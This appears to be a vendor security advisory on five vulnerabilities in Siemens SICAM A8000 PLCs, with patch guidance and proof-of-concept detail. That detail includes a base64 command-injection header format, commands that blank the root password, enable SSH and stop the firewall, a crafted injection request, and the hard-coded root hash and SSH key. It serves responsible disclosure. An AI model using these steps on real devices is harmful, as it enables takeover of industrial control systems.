Vendor description
"We are a technology company focused on industry, infrastructure, transport, and healthcare. From more resource-efficient factories, resilient supply chains, and smarter buildings and grids, to cleaner and more comfortable transportation as well as advanced healthcare, we create technology with purpose adding real value for customers."
Source: https://new.siemens.com/global/en/company/about.html
Business recommendation
The vendor provides a patch which should be installed immediately. Customers should update to CPCI85 V05 or later version (https://support.industry.siemens.com/cs/ww/en/view/109804985/).
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Unauthenticated Remote Code Execution (CVE-2023-28489)
By sending an HTTP request with a crafted header to port 80/443 of the PLC, arbitrary commands can be executed as system user. The port is used to configure and control Siemens PLCs with the Siemens Toolbox II application and is typically accessible on such devices.
2) Authenticated Command Injection (CVE-2023-33919)
Due to missing server-side input sanitation, any user with access to the SICAM WEB interface can execute arbitrary commands as user "root" on the device. This works by setting malicious parameters and starting an Ethernet package capture.
3) Hard-coded Root Password (CVE-2023-33920)
The PLC contains a hard-coded "root" user password hash. This password hash is the same on all devices. If the corresponding password is known, it could be used to login via UART and SSH.
4) Console Login via UART (CVE-2023-33921)
The UART interface can be accessed with physical access to the PCB. After connecting to the interface, boot information is given and a login prompt is provided. Login as "root" user is possible after changing the hard-coded "root" password hash (see 1,2, and 3).
5) Hard-coded root account via SSH Authorized Keys (CVE-2023-36380)
The PLC contains a hard-coded "root" ID in the SSH "authorized_keys" configuration file. This ID is the same on all devices. If the corresponding private key is known, it can be used to login via SSH. A login/exploitation is only possible if debug support is activated on the PLC!
Proof of concept
1) Unauthenticated Remote Code Execution (CVE-2023-28489)
To exploit this vulnerability, an HTTP request including the command must be crafted. No "/" characters can be used, therefore commands are encoded as base64, e.g., "id" as "aWQ=". The command must be provided as UPLOADFILENAME header. A full command looks as follows:
;echo aWQ=| base64 -d | sh #The following header format must be obeyed:
- User-Agent: SICAM TOOLBOX II
- Session-ID: [ARBITRARY 16 CHARACTERS]
- UPLOADFILENAME: [COMMAND]
Additionally, the request body must contain the following POST parameters:
- type=20
- length=[ARBITRARY]
- data=[ARBITRARY]
A valid request can be seen below:
[ POC request removed ]If it worked, the response body will be "type=21". Additionally, the output on the UART interface indicates code execution as root user:
base64: /ies/IN/_: No such file or directory
uid=0(root) gid=0(root)Subsequently, the SSH port can be opened by sending the following commands separately and encoded as base64 string. They will replace the set default root password hash with an empty password hash, reconfigure the Dropbear SSH daemon and stop the firewall:
sed -i
s'/:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo\/FWtDljQjCbm6JnZqxiMg
re5P14Kv2zAH1:/:32BZgrJ3XBMoY:/' /etc/shadow
sed -i s'/"$DROPBEAR_ARGS -R -s -g"/"$DROPBEAR_ARGS -R"/' /etc/init.d/dropbear
/etc/init.d/dropbear restart
/etc/init.d/rc.firewall stopAfter this, login via SSH as root is possible:
ssh root@[IP]
root@[IP]'s password:
~# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
~#2) Authenticated Command Injection (CVE-2023-33919)
To trigger the command injection vulnerability, the payload must be set in the "LAN port group" field on the SICAM WEB page "Monitoring & Simulation" -> "Ethernet Packet Capture" section "Capture configuration" (other fields may also be affected).
As the web interface only provides a drop-down menu, the payload must be set by manipulating the JavaScript logic or by directly manipulating the HTTP request as below, where "ping [IP]\nBBBBBBB" was set:
POST /sicweb-ajax/rtum85/cview HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT
Content-Length: 198
Origin: http: //[HOST]
Connection: close
Referer: http: //[HOST]/
<?xml version="1.0" encoding="UTF-8"?>
<Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0">
<value>
ping [IP]
BBBBBBB</value>
</parameter></view></Cmd_SetCustomViewValue>The line break in the payload is especially important, as the command is executed as part of a shell script.
This script is generated and executed by pressing the "Start/Stop trace" button in the "Capture Controlling" section and saved as /tmp/incws_tcpdump.sh. An excerpt with the injected command is shown below:
[...] # lets start tcpdump
tcpdump -i
ping [IP] BBBBBBB '(ether host 00:11:11:33:44:00) and (host 1.1.1.2 or host 2.2.2.34) and (port 999)' -C 1 -W 4 -U -w /var/log/wireshark.pcap &
[...] The executed script creates a process running as root user, which can be seen by running "ps" on the device:
root 1100 0.0 0.1 1784 1168 ? S Feb21 0:00 /bin/sh /etc/init.d/rc.sysinit
root 1149 0.1 0.3 11768 1748 ? S1 Feb21 6:03 \_ /ies/apps/system/bin/ISV00.elf /ies/apps/sys_desc/target_rc.json
[...]
www-data 1487 0.0 0.6 7568 3444 ? S Feb21 0:40 \_ /usr/sbin/lighttpd -Df /etc/lighttpd/lighttpd.conf
root 10655 0.0 0.2 1880 1344 ? S 04:55 0:00 \_ /bin/sh /tmp/incws_tcpdump.sh
root 10667 0.0 0.2 1884 1360 ? S 04:57 0:00 \_ ping [IP] 3) Hard-coded Root Password (CVE-2023-33920)
A hard-coded "root" user password hash can be found in the /etc/shadow file:
root:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo/FWtDljQjCbm6JnZqxiMg
re5P14Kv2zAH1:16436:0:99999:7:::4) Console Login via UART (CVE-2023-33921)
The serial console (UART) can be accessed on the backside of the PCB on two Vias. After removing an additional logic IC, receiving data and sending data is possible with the following UART settings:
- Voltage: 3.3V
- Speed: 115200 Baud
- Symbol-ratio: 8 Data Bits 1 Stop Bit (8N1)
Extensive boot log output can be received. Some output is shown below:
U-Boot SPL 2013.01.01 (Jan 16 2020 - 12:56:02)
BOARD : Altera SOCFPGA Cyclone V Board
CLOCK: EOSC1 clock 50000 KHz
[...]
Starting IES system
-----------------------------------
Welcome to SICAM IES
-----------------------------------
Welcome to
_______. __ ______ ___ .___ ___.
/ || | / | / \ | \/ |
| (----`| | | ,----' / ^ \ | \ / |
\ \ | | | | / /_\ \ | |\/| |
.----) | | | | `----./ _____ \ | | | |
|_______/ |__| \______/__/ \__\ |__| |__| RTUs
[...]
sicam login: Additionally, a console login form is displayed. Login is possible if the password for the set "root" user password hash (see 3) is known.
5) Hard-coded root account via SSH Authorized Keys (CVE-2023-36380)
A hard-coded SSH key ID can be found in the /root/.ssh/authorized_keys file:
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAixgqRHsYGixcoO+9GryAEQDL9J2bcRXYMlC
AlFAXZ893ePvxpx9E7hJ4D1S9yCx0bauAXNOdtuSC2MW/a8btD6RX7/ueqhaE98/OvNdpYJ
FUMGn34G+mbxBN80HJgNHgjOHjzVl57MoDQthuZk2n7tJIb/1FuunwDTZoI4/967KO8mvO4
gyPTyWUMcISb6cZ8NhrZIBvozJN6mHinyYJ4IrdS5St0GzUqRFNgEhViFN+0C15yHJc9H8v
KHpRXKLK5X2nhBACpGhKcwhz4Ds39zNciWj7YGQ4SyVoT6E2hnAs3gMncsgMpE6Qbs0eSBM
FeB3TuSCBDClrAKLzIfJTiw==Vulnerable / tested versions
The following product has been tested:
- Siemens A8000 CP-8050 04.92
- Siemens A8000 CP-8031 04.92